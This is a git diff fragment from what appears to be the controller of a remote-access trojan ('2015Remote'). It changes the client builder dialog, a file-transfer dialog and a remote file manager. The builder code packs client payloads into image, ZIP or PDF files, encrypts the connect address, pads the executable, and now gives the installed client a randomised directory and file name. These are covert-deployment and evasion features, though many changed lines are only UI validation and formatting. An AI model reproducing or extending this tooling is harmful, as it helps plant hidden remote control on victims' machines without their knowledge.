IDC_STATIC_PAYLOAD, m_StaticPayload); DDX_Control(pDX, IDC_SLIDER_CLIENT_SIZE, m_SliderClientSize); + DDX_Control(pDX, IDC_EDIT_INSTALL_DIR, m_EditInstallDir); + DDX_Control(pDX, IDC_EDIT_INSTALL_NAME, m_EditInstallName); + DDX_Text(pDX, IDC_EDIT_INSTALL_DIR, m_sInstallDir); + DDV_MaxChars(pDX, m_sInstallDir, 31); + DDX_Text(pDX, IDC_EDIT_INSTALL_NAME, m_sInstallName); + DDV_MaxChars(pDX, m_sInstallName, 31); } @@ -115,7 +148,12 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog) ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp) ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin) ON_CBN_SELCHANGE(IDC_COMBO_COMPRESS, &CBuildDlg::OnCbnSelchangeComboCompress) - ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CBuildDlg::OnToolTipNotify) + ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CBuildDlg::OnToolTipNotify) + ON_EN_CHANGE(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnChangeEditInstallDir) + ON_EN_CHANGE(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnChangeEditInstallName) + ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnKillfocusEditInstallDir) + ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnKillfocusEditInstallName) + ON_COMMAND(ID_RANDOM_NAME, &CBuildDlg::OnRandomName) END_MESSAGE_MAP() @@ -182,17 +220,53 @@ void generate_random_iv(unsigned char* iv, size_t len) ULONGLONG GetFileSize(const char* path) { - std::ifstream file(path, std::ios::binary | std::ios::ate); + std::ifstream file(path, std::ios::binary | std::ios::ate); - if (!file) { - Mprintf("Failed to open file: %s.\n", path); - return 0; - } + if (!file) { + Mprintf("Failed to open file: %s.\n", path); + return 0; + } - ULONGLONG size = file.tellg(); - file.close(); + ULONGLONG size = file.tellg(); + file.close(); - return size; + return size; +} + +bool IsValidFileName(const CString& strName) +{ + if (strName.IsEmpty()) return false; + + // 检查非法字符 + LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); + if (strName.FindOneOf(szInvalidChars) != -1) + return false; + + // 检查保留名称 (CON, PRN, AUX, NUL, COM1-9, LPT1-9) + CString strUpper = strName; + strUpper.MakeUpper(); + int nDot = strUpper.Find(_T('.')); + CString strBase = (nDot != -1) ? strUpper.Left(nDot) : strUpper; + + LPCTSTR szReserved[] = { + _T("CON"), _T("PRN"), _T("AUX"), _T("NUL"), + _T("COM1"), _T("COM2"), _T("COM3"), _T("COM4"), _T("COM5"), + _T("COM6"), _T("COM7"), _T("COM8"), _T("COM9"), + _T("LPT1"), _T("LPT2"), _T("LPT3"), _T("LPT4"), _T("LPT5"), + _T("LPT6"), _T("LPT7"), _T("LPT8"), _T("LPT9"), NULL + }; + + for (int i = 0; szReserved[i]; i++) { + if (strBase == szReserved[i]) + return false; + } + + // 不能以空格或点结尾 + TCHAR chLast = strName[strName.GetLength() - 1]; + if (chLast == _T(' ') || chLast == _T('.')) + return false; + + return true; } void CBuildDlg::OnBnClickedOk() @@ -282,6 +356,8 @@ void CBuildDlg::OnBnClickedOk() g_ConnectAddress.iHeaderEnc = m_ComboEncrypt.GetCurSel(); memcpy(g_ConnectAddress.pwdHash, GetPwdHash().c_str(), sizeof(g_ConnectAddress.pwdHash)); memcpy(g_ConnectAddress.szGroupName, m_sGroupName, m_sGroupName.GetLength()); + memcpy(g_ConnectAddress.installDir, m_sInstallDir, m_sInstallDir.GetLength()); + memcpy(g_ConnectAddress.installName, m_sInstallName, m_sInstallName.GetLength()); if (!g_ConnectAddress.IsValid()) { SAFE_DELETE_ARRAY(szBuffer); @@ -374,24 +450,24 @@ void CBuildDlg::OnBnClickedOk() PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe")); strSeverFile.ReleaseBuffer(); if (strSeverFile != old) DeleteFileA(old); - int n = m_ComboPayload.GetCurSel(); - CString payload = strSeverFile; - if (n) { - static std::map m = { - { Payload_Raw, "*.bin|*.bin|"}, { Payload_BMP, "*.bmp|*.bmp|"}, - { Payload_JPG, "*.jpg|*.jpg|"}, { Payload_PNG, "*.png|*.png|"}, - { Payload_ZIP, "*.zip|*.zip|"}, { Payload_PDF, "*.pdf|*.pdf|"}, - }; - payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw); - sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload); + int n = m_ComboPayload.GetCurSel(); + CString payload = strSeverFile; + if (n) { + static std::map m = { + { Payload_Raw, "*.bin|*.bin|"}, { Payload_BMP, "*.bmp|*.bmp|"}, + { Payload_JPG, "*.jpg|*.jpg|"}, { Payload_PNG, "*.png|*.png|"}, + { Payload_ZIP, "*.zip|*.zip|"}, { Payload_PDF, "*.pdf|*.pdf|"}, + }; + payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw); + sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload); strcpy(sc->file, PathFindFileNameA(payload)); - tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; - } + tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; + } BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize); - if (r) { - r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1); - if (!r) tip = "\r\n警告: 生成载荷失败!"; - }else{ + if (r) { + r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1); + if (!r) tip = "\r\n警告: 生成载荷失败!"; + } else { MessageBox("文件生成失败: \r\n" + strSeverFile, "提示", MB_ICONINFORMATION); } SAFE_DELETE_ARRAY(srcData); @@ -407,7 +483,7 @@ void CBuildDlg::OnBnClickedOk() } int size = m_SliderClientSize.GetPos() * 2.56 * 1024 * 1024; if (size > 0) { - std::vector padding(size, time(0)%256); + std::vector padding(size, time(0)%256); WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1); } MessageBox("生成成功! 文件位于:\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION); @@ -497,27 +573,34 @@ BOOL CBuildDlg::OnInitDialog() ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单 ::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单 + BOOL b = THIS_CFG.GetInt("settings", "RandomName", 0); + if (b) { + m_EditInstallDir.SetWindowTextA(m_sInstallDir = GenerateRandomName(5 + time(0) % 10)); + m_EditInstallName.SetWindowTextA(m_sInstallName = GenerateRandomName(5 + time(0) % 10)); + } + SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED); + return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE } -CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen) { - CComPtr spDesktop; - HRESULT hr = SHGetDesktopFolder(&spDesktop); - if (FAILED(hr)) { - MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示"); - return ""; - } - // 过滤器:显示所有文件和特定类型文件(例如文本文件) - CFileDialog fileDlg(isOpen, type, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, filter, AfxGetMainWnd()); - int ret = 0; - try { - ret = fileDlg.DoModal(); - } - catch (...) { - MessageBox("文件对话框未成功打开! 请稍后再试。", "提示"); - return ""; - } +CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen) +{ + CComPtr spDesktop; + HRESULT hr = SHGetDesktopFolder(&spDesktop); + if (FAILED(hr)) { + MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示"); + return ""; + } + // 过滤器:显示所有文件和特定类型文件(例如文本文件) + CFileDialog fileDlg(isOpen, type, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, filter, AfxGetMainWnd()); + int ret = 0; + try { + ret = fileDlg.DoModal(); + } catch (...) { + MessageBox("文件对话框未成功打开! 请稍后再试。", "提示"); + return ""; + } if (ret == IDOK) { CString name = fileDlg.GetPathName(); return name; @@ -592,21 +675,135 @@ void CBuildDlg::OnClientRunasAdmin() void CBuildDlg::OnCbnSelchangeComboCompress() { m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE); - m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE); + m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE); } BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) { TOOLTIPTEXTA* pTTT = (TOOLTIPTEXTA*)pNMHDR; UINT nID = pNMHDR->idFrom; - if (pTTT->uFlags & TTF_IDISHWND) { + if (pTTT->uFlags & TTF_IDISHWND) { // idFrom is actually the HWND of the tool nID = ::GetDlgCtrlID((HWND)nID); } if (nID == IDC_SLIDER_CLIENT_SIZE) { - int size = m_SliderClientSize.GetPos() * 2.56; + int size = m_SliderClientSize.GetPos() * 2.56; sprintf_s(pTTT->szText, "%dM", size); return TRUE; - } + } return FALSE; } + + +void CBuildDlg::OnEnChangeEditInstallDir() +{ + static bool bProcessing = false; + if (bProcessing) return; + bProcessing = true; + + CString strText; + GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText); + + // Windows 文件名非法字符: \ / : * ? " < > | + LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名 + + bool bModified = false; + for (int i = strText.GetLength() - 1; i >= 0; i--) { + if (_tcschr(szInvalidChars, strText[i]) != NULL) { + strText.Delete(i); + bModified = true; + } + } + + if (bModified) { + CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR); + int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置 + SetDlgItemText(IDC_EDIT_INSTALL_DIR, strText); + pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标 + } + + bProcessing = false; +} + + +void CBuildDlg::OnEnChangeEditInstallName() +{ + static bool bProcessing = false; + if (bProcessing) return; + bProcessing = true; + + CString strText; + GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText); + + // Windows 文件名非法字符: \ / : * ? " < > | + LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名 + + bool bModified = false; + for (int i = strText.GetLength() - 1; i >= 0; i--) { + if (_tcschr(szInvalidChars, strText[i]) != NULL) { + strText.Delete(i); + bModified = true; + } + } + + if (bModified) { + CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME); + int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置 + SetDlgItemText(IDC_EDIT_INSTALL_NAME, strText); + pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标 + } + + bProcessing = false; +} + + +void CBuildDlg::OnEnKillfocusEditInstallDir() +{ + CString strText; + GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText); + + if (strText.IsEmpty()) return; + + if (!IsValidFileName(strText)) { + MessageBoxA(_T("文件名不合法,请检查:\n") + _T("1. 不能包含 \\ / : * ? \" < > |\n") + _T("2. 不能是系统保留名称 (CON, PRN 等)\n") + _T("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING); + + GetDlgItem(IDC_EDIT_INSTALL_DIR)->SetFocus(); + ((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetWindowTextA(""); + ((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetSel(0, -1); + } +} + + +void CBuildDlg::OnEnKillfocusEditInstallName() +{ + CString strText; + GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText); + + if (strText.IsEmpty()) return; + + if (!IsValidFileName(strText)) { + MessageBoxA(_T("文件名不合法,请检查:\n") + _T("1. 不能包含 \\ / : * ? \" < > |\n") + _T("2. 不能是系统保留名称 (CON, PRN 等)\n") + _T("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING); + + GetDlgItem(IDC_EDIT_INSTALL_NAME)->SetFocus(); + ((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetWindowTextA(""); + ((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetSel(0, -1); + } +} + + +void CBuildDlg::OnRandomName() +{ + BOOL b = !THIS_CFG.GetInt("settings", "RandomName", 0); + m_EditInstallDir.SetWindowTextA(m_sInstallDir = b ? GenerateRandomName(5 + time(0) % 10) : ""); + m_EditInstallName.SetWindowTextA(m_sInstallName = b ? GenerateRandomName(5 + time(0) % 10) : ""); + + CMenu* SubMenu = m_MainMenu.GetSubMenu(0); + SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED); + THIS_CFG.SetInt("settings", "RandomName", b); +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 78684d1..31a0489 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -24,7 +24,7 @@ public: protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE); - BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult); + BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult); DECLARE_MESSAGE_MAP() public: @@ -53,4 +53,13 @@ public: afx_msg void OnCbnSelchangeComboCompress(); CStatic m_StaticPayload; CSliderCtrl m_SliderClientSize; + CEdit m_EditInstallDir; + CEdit m_EditInstallName; + CString m_sInstallDir; + CString m_sInstallName; + afx_msg void OnEnChangeEditInstallDir(); + afx_msg void OnEnChangeEditInstallName(); + afx_msg void OnEnKillfocusEditInstallDir(); + afx_msg void OnEnKillfocusEditInstallName(); + afx_msg void OnRandomName(); }; diff --git a/server/2015Remote/CDlgFileSend.cpp b/server/2015Remote/CDlgFileSend.cpp index 637a429..b6398f1 100644 --- a/server/2015Remote/CDlgFileSend.cpp +++ b/server/2015Remote/CDlgFileSend.cpp @@ -10,7 +10,7 @@ IMPLEMENT_DYNAMIC(CDlgFileSend, CDialog) CDlgFileSend::CDlgFileSend(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject, BOOL sendFile) - : DialogBase(CDlgFileSend::IDD, pParent, IOCPServer, ContextObject, IDI_File), m_bIsSending(sendFile) + : DialogBase(CDlgFileSend::IDD, pParent, IOCPServer, ContextObject, IDI_File), m_bIsSending(sendFile) { } @@ -20,15 +20,15 @@ CDlgFileSend::~CDlgFileSend() void CDlgFileSend::DoDataExchange(CDataExchange* pDX) { - CDialog::DoDataExchange(pDX); - DDX_Control(pDX, IDC_PROGRESS_FILESEND, m_Progress); + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_PROGRESS_FILESEND, m_Progress); } BEGIN_MESSAGE_MAP(CDlgFileSend, CDialog) - ON_WM_CLOSE() - ON_MESSAGE(WM_UPDATEFILEPROGRESS, &CDlgFileSend::OnUpdateFileProgress) - ON_MESSAGE(WM_FINISHFILESEND, &CDlgFileSend::OnFinishFileSend) + ON_WM_CLOSE() + ON_MESSAGE(WM_UPDATEFILEPROGRESS, &CDlgFileSend::OnUpdateFileProgress) + ON_MESSAGE(WM_FINISHFILESEND, &CDlgFileSend::OnFinishFileSend) END_MESSAGE_MAP() @@ -38,87 +38,91 @@ std::string GetHMAC(int offset); void RecvData(void* ptr) { - FileChunkPacket* pkt = (FileChunkPacket*)ptr; + FileChunkPacket* pkt = (FileChunkPacket*)ptr; } -void CDlgFileSend::OnReceiveComplete(void) { - LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer(); - unsigned len = m_ContextObject->InDeCompressedBuffer.GetBufferLen(); - std::string hash = GetPwdHash(), hmac = GetHMAC(100); - CONNECT_ADDRESS addr = { 0 }; - memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash))); - int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac); - if (n) { - Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str()); - } - BYTE* name = szBuffer + sizeof(FileChunkPacket); - FileChunkPacket* chunk = (FileChunkPacket*)szBuffer; - UpdateProgress(CString((char*)name, chunk->nameLength), chunk); +void CDlgFileSend::OnReceiveComplete(void) +{ + LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer(); + unsigned len = m_ContextObject->InDeCompressedBuffer.GetBufferLen(); + std::string hash = GetPwdHash(), hmac = GetHMAC(100); + CONNECT_ADDRESS addr = { 0 }; + memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash))); + int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac); + if (n) { + Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str()); + } + BYTE* name = szBuffer + sizeof(FileChunkPacket); + FileChunkPacket* chunk = (FileChunkPacket*)szBuffer; + UpdateProgress(CString((char*)name, chunk->nameLength), chunk); } -void CDlgFileSend::UpdateProgress(CString file, const FileChunkPacket *chunk) { - PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileChunkPacket(*chunk)); +void CDlgFileSend::UpdateProgress(CString file, const FileChunkPacket *chunk) +{ + PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileChunkPacket(*chunk)); } -void CDlgFileSend::FinishFileSend(BOOL succeed) { - PostMessageA(WM_FINISHFILESEND, NULL, (LPARAM)succeed); +void CDlgFileSend::FinishFileSend(BOOL succeed) +{ + PostMessageA(WM_FINISHFILESEND, NULL, (LPARAM)succeed); } -LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam) { - CString* pFile = (CString*)wParam; - FileChunkPacket* pChunk = (FileChunkPacket*)lParam; +LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam) +{ + CString* pFile = (CString*)wParam; + FileChunkPacket* pChunk = (FileChunkPacket*)lParam; - CString status; - double percent = pChunk->fileSize > 0 ? double(pChunk->offset) / pChunk->fileSize * 100.0 : 100.0; - m_bIsSending ? - status.Format("发送文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent): - status.Format("接收文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent); - SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, status); - SetDlgItemTextA(IDC_STATIC_CURRENT_FILE, *pFile); - m_Progress.SetPos(percent); - ShowWindow(SW_SHOW); + CString status; + double percent = pChunk->fileSize > 0 ? double(pChunk->offset) / pChunk->fileSize * 100.0 : 100.0; + m_bIsSending ? + status.Format("发送文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent): + status.Format("接收文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent); + SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, status); + SetDlgItemTextA(IDC_STATIC_CURRENT_FILE, *pFile); + m_Progress.SetPos(percent); + ShowWindow(SW_SHOW); - delete pChunk; - delete pFile; - return 0; + delete pChunk; + delete pFile; + return 0; } -LRESULT CDlgFileSend::OnFinishFileSend(WPARAM wParam, LPARAM lParam) { - BOOL success = (BOOL)lParam; - m_bIsSending ? - SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, success ? "文件发送完成" : "文件发送失败"): - SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, success ? "文件接收完成" : "文件接收失败"); - if (success) - m_Progress.SetPos(100); - ShowWindow(SW_SHOW); +LRESULT CDlgFileSend::OnFinishFileSend(WPARAM wParam, LPARAM lParam) +{ + BOOL success = (BOOL)lParam; + m_bIsSending ? + SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, success ? "文件发送完成" : "文件发送失败"): + SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, success ? "文件接收完成" : "文件接收失败"); + if (success) + m_Progress.SetPos(100); + ShowWindow(SW_SHOW); - return 0; + return 0; } BOOL CDlgFileSend::OnInitDialog() { - DialogBase::OnInitDialog(); + DialogBase::OnInitDialog(); - SetIcon(m_hIcon, FALSE); + SetIcon(m_hIcon, FALSE); - SetWindowTextA(m_bIsSending ? "发送文件" : "接收文件"); - CMenu* pSysMenu = GetSystemMenu(FALSE); - if (pSysMenu != nullptr) - { - pSysMenu->EnableMenuItem(SC_CLOSE, MF_BYCOMMAND | MF_GRAYED); - } + SetWindowTextA(m_bIsSending ? "发送文件" : "接收文件"); + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != nullptr) { + pSysMenu->EnableMenuItem(SC_CLOSE, MF_BYCOMMAND | MF_GRAYED); + } - return TRUE; + return TRUE; } void CDlgFileSend::OnClose() { - CancelIO(); - // 等待数据处理完毕 - if (IsProcessing()) { - ShowWindow(SW_HIDE); - return; - } + CancelIO(); + // 等待数据处理完毕 + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } - DialogBase::OnClose(); + DialogBase::OnClose(); } diff --git a/server/2015Remote/CDlgFileSend.h b/server/2015Remote/CDlgFileSend.h index 0d11bfa..14c7233 100644 --- a/server/2015Remote/CDlgFileSend.h +++ b/server/2015Remote/CDlgFileSend.h @@ -12,29 +12,29 @@ class CDlgFileSend : public DialogBase { - DECLARE_DYNAMIC(CDlgFileSend) + DECLARE_DYNAMIC(CDlgFileSend) public: - CDlgFileSend(CWnd* pParent = NULL, Server* IOCPServer = NULL, - CONTEXT_OBJECT* ContextObject = NULL, BOOL sendFile = TRUE); - virtual ~CDlgFileSend(); - void OnReceiveComplete(void); - void UpdateProgress(CString file, const FileChunkPacket *chunk); - void FinishFileSend(BOOL succeed); + CDlgFileSend(CWnd* pParent = NULL, Server* IOCPServer = NULL, + CONTEXT_OBJECT* ContextObject = NULL, BOOL sendFile = TRUE); + virtual ~CDlgFileSend(); + void OnReceiveComplete(void); + void UpdateProgress(CString file, const FileChunkPacket *chunk); + void FinishFileSend(BOOL succeed); - BOOL m_bIsSending; - enum { IDD = IDD_DIALOG_FILESEND }; + BOOL m_bIsSending; + enum { IDD = IDD_DIALOG_FILESEND }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 - DECLARE_MESSAGE_MAP() + DECLARE_MESSAGE_MAP() - afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam); - afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam); public: - CProgressCtrl m_Progress; - virtual BOOL OnInitDialog(); - afx_msg void OnClose(); + CProgressCtrl m_Progress; + virtual BOOL OnInitDialog(); + afx_msg void OnClose(); }; diff --git a/server/2015Remote/CPasswordDlg.cpp b/server/2015Remote/CPasswordDlg.cpp index d35bc8c..b762e2f 100644 --- a/server/2015Remote/CPasswordDlg.cpp +++ b/server/2015Remote/CPasswordDlg.cpp @@ -43,8 +43,9 @@ std::string GetHMAC(int offset) return hmac; } -void SetHMAC(const std::string str, int offset) { - Validation* v = (Validation*)(g_MasterID + offset); +void SetHMAC(const std::string str, int offset) +{ + Validation* v = (Validation*)(g_MasterID + offset); std::string hmac(v->Checksum, 16); if (hmac.c_str()[0] == 0) { memcpy(v->Checksum, str.c_str(), min(16, str.length())); @@ -151,12 +152,12 @@ void CPasswordDlg::OnCbnSelchangeComboBind() std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(m_nBindType); m_sDeviceID = getFixedLengthID(hashSHA256(hardwareID)).c_str(); m_EditDeviceID.SetWindowTextA(m_sDeviceID); - auto master = THIS_CFG.GetStr("settings", "master", ""); + auto master = THIS_CFG.GetStr("settings", "master", ""); if (m_nBindType == 1) { MessageBoxA("请确认是否正确设置公网地址(IP或域名)?\r\n" "绑定IP后主控只能使用指定IP,绑定域名后\r\n" - "主控只能使用指定域名。当前公网地址: \r\n" - + CString(master.empty() ? "未设置" : master.c_str()), "提示", MB_OK | MB_ICONWARNING); + "主控只能使用指定域名。当前公网地址: \r\n" + + CString(master.empty() ? "未设置" : master.c_str()), "提示", MB_OK | MB_ICONWARNING); } } diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index f093634..dd5d913 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -1345,20 +1345,20 @@ void CFileManagerDlg::OnLocalCompress() if (m_list_local.GetItemData(nItem)) { file += '\\'; } - paths.push_back(file.GetBuffer(0)); + paths.push_back(file.GetBuffer(0)); } - std::string target = m_Local_Path.GetString() + ToPekingDateTime(0) + ".zsta"; + std::string target = m_Local_Path.GetString() + ToPekingDateTime(0) + ".zsta"; zsta::Error err = zsta::CZstdArchive::Compress(paths, target); if (err != zsta::Error::Success) { - ::MessageBoxA(m_hWnd, "压缩失败: " + CString(zsta::CZstdArchive::GetErrorString(err)), - "错误", MB_OK | MB_ICONERROR); - } - else { + ::MessageBoxA(m_hWnd, "压缩失败: " + CString(zsta::CZstdArchive::GetErrorString(err)), + "错误", MB_OK | MB_ICONERROR); + } else { FixedLocalFileList("."); } } -bool HasZstaExtension(const std::string& path) { +bool HasZstaExtension(const std::string& path) +{ if (path.size() < 5) return false; std::string ext = path.substr(path.size() - 5); // 转小写比较 @@ -1366,7 +1366,8 @@ bool HasZstaExtension(const std::string& path) { return ext == ".zsta"; } -std::string GetExtractDir(const std::string& archivePath) { +std::string GetExtractDir(const std::string& archivePath) +{ if (archivePath.size() >= 5) { std::string ext = archivePath.substr(archivePath.size() - 5); for (char& c : ext) c = tolower(c); @@ -1379,7 +1380,7 @@ std::string GetExtractDir(const std::string& archivePath) { void CFileManagerDlg::OnLocalUnCompress() { - BOOL needRefresh = FALSE; + BOOL needRefresh = FALSE; POSITION pos = m_list_local.GetFirstSelectedItemPosition(); while (pos) { int nItem = m_list_local.GetNextSelectedItem(pos); @@ -1387,17 +1388,15 @@ void CFileManagerDlg::OnLocalUnCompress() // 如果是目录 if (m_list_local.GetItemData(nItem)) { continue; - } - else if (HasZstaExtension(file.GetString())){ + } else if (HasZstaExtension(file.GetString())) { std::string path(file.GetBuffer(0)); std::string destDir = GetExtractDir(path); zsta::Error err = zsta::CZstdArchive::Extract(path, destDir); if (err != zsta::Error::Success) { ::MessageBoxA(m_hWnd, "解压失败: " + CString(zsta::CZstdArchive::GetErrorString(err)), - "错误", MB_OK | MB_ICONERROR); - } - else { - needRefresh = TRUE; + "错误", MB_OK | MB_ICONERROR); + } else { + needRefresh = TRUE; } } } @@ -1456,7 +1455,7 @@ void CFileManagerDlg::OnRemoteCompress() if (paths.size() <= 1) { ::MessageBoxA(m_hWnd, "请先选择要压缩的文件或文件夹!", "提示", MB_OK | MB_ICONWARNING); return; - } + } auto pathsMultiString = BuildMultiStringPath(paths); BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, pathsMultiString.size() + 1); if (bPacket) { @@ -1477,16 +1476,15 @@ void CFileManagerDlg::OnRemoteUnCompress() // 如果是目录 if (m_list_remote.GetItemData(nItem)) { continue; - } - else if (HasZstaExtension(file.GetString())) { - paths.push_back(file.GetBuffer(0)); + } else if (HasZstaExtension(file.GetString())) { + paths.push_back(file.GetBuffer(0)); } } if (paths.empty()) { - ::MessageBoxA(m_hWnd, "请先选择要解压的.zsta文件!", "提示", MB_OK | MB_ICONWARNING); + ::MessageBoxA(m_hWnd, "请先选择要解压的.zsta文件!", "提示", MB_OK | MB_ICONWARNING); return; - } - auto pathsMultiString = BuildMultiStringPath(paths); + } + auto pathsMultiString = BuildMultiStringPath(paths); BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, pathsMultiString.size() + 1); if (bPacket) { memcpy(bPacket + 1, pathsMultiString.data(), pathsMultiString.size()); @@ -2190,8 +2188,7 @@ void CFileManagerDlg::OnFilemangerCompress() GetCursorPos(&pt); if (GetFocus()->m_hWnd == m_list_local.m_hWnd) { OnLocalCompress(); - } - else { + } else { OnRemoteCompress(); } } @@ -2203,8 +2200,7 @@ void CFileManagerDlg::OnFilemangerUncompress() GetCursorPos(&pt); if (GetFocus()->m_hWnd == m_list_local.m_hWnd) { OnLocalUnCompress(); - } - else { + } else { OnRemoteUnCompress(); } } diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h index eea4ebf..8fce081 100644 --- a/server/2015Remote/FileManagerDlg.h +++ b/server/2015Remote/FileManagerDlg.h @@ -12,10 +12,10 @@ #define ClientContext CONTEXT_OBJECT -typedef struct { - DWORD dwSizeHigh; - DWORD dwSizeLow; -} FILESIZE; + typedef struct { + DWORD dwSizeHigh; + DWORD dwSizeLow; + } FILESIZE; #define m_DeCompressionBuffer InDeCompressedBuffer diff --git a/server/2015Remote/FileTransferModeDlg.h b/server/2015Remote/FileTransferModeDlg.h index e1ca07b..de115ed 100644 --- a/server/2015Remote/FileTransferModeDlg.h +++ b/server/2015Remote/FileTransferModeDlg.h @@ 